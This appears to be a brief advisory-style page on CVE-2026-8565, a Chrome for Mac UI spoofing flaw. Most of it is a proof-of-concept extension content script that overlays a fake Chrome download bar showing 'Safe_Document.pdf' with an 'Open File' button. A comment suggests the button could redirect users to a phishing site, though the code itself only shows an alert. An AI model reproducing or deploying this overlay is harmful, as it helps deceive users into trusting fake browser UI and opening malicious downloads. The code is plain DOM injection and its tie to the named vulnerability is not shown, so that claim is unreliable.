CVE-2026-8565 Google Chrome Mac UI欺骗漏洞

// PoC Concept: Malicious Chrome Extension Content Script // This script demonstrates how an attacker might inject a fake UI overlay // to spoof the download interface in a vulnerable Chrome version. (function() { // Create a container for the fake UI const fakeUI = document.createElement('div'); fakeUI.id = 'chrome-download-spoof'; // Style the fake UI to look like the native download bar fakeUI.style.position = 'fixed'; fakeUI.style.bottom = '0'; fakeUI.style.left = '0'; fakeUI.style.width = '100%'; fakeUI.style.height = '60px'; fakeUI.style.backgroundColor = '#ffffff'; // Chrome white theme fakeUI.style.borderTop = '1px solid #dadce0'; fakeUI.style.zIndex = '999999'; fakeUI.style.display = 'flex'; fakeUI.style.alignItems = 'center'; fakeUI.style.justifyContent = 'space-between'; fakeUI.style.padding = '0 20px'; fakeUI.style.fontFamily = 'Arial, sans-serif'; fakeUI.style.fontSize = '14px'; // Add malicious content mimicking a safe file download fakeUI.innerHTML = ` <div style="display:flex; align-items:center;"> <div style="width:40px; height:40px; background:#e8f0fe; border-radius:50%; margin-right:15px; display:flex; align-items:center; justify-content:center;">📄</div> <div> <div style="font-weight:bold; color:#202124;">Safe_Document.pdf</div> <div style="color:#5f6368; font-size:12px;">Download complete</div> </div> </div> <button id="malicious-btn" style="background:#1a73e8; color:white; border:none; padding:8px 16px; border-radius:4px; cursor:pointer;">Open File</button> `; // Inject into DOM document.body.appendChild(fakeUI); // Handle interaction (e.g., redirect to phishing site) document.getElementById('malicious-btn').addEventListener('click', () => { alert('UI Spoofing Successful: User clicked fake download button.'); }); })();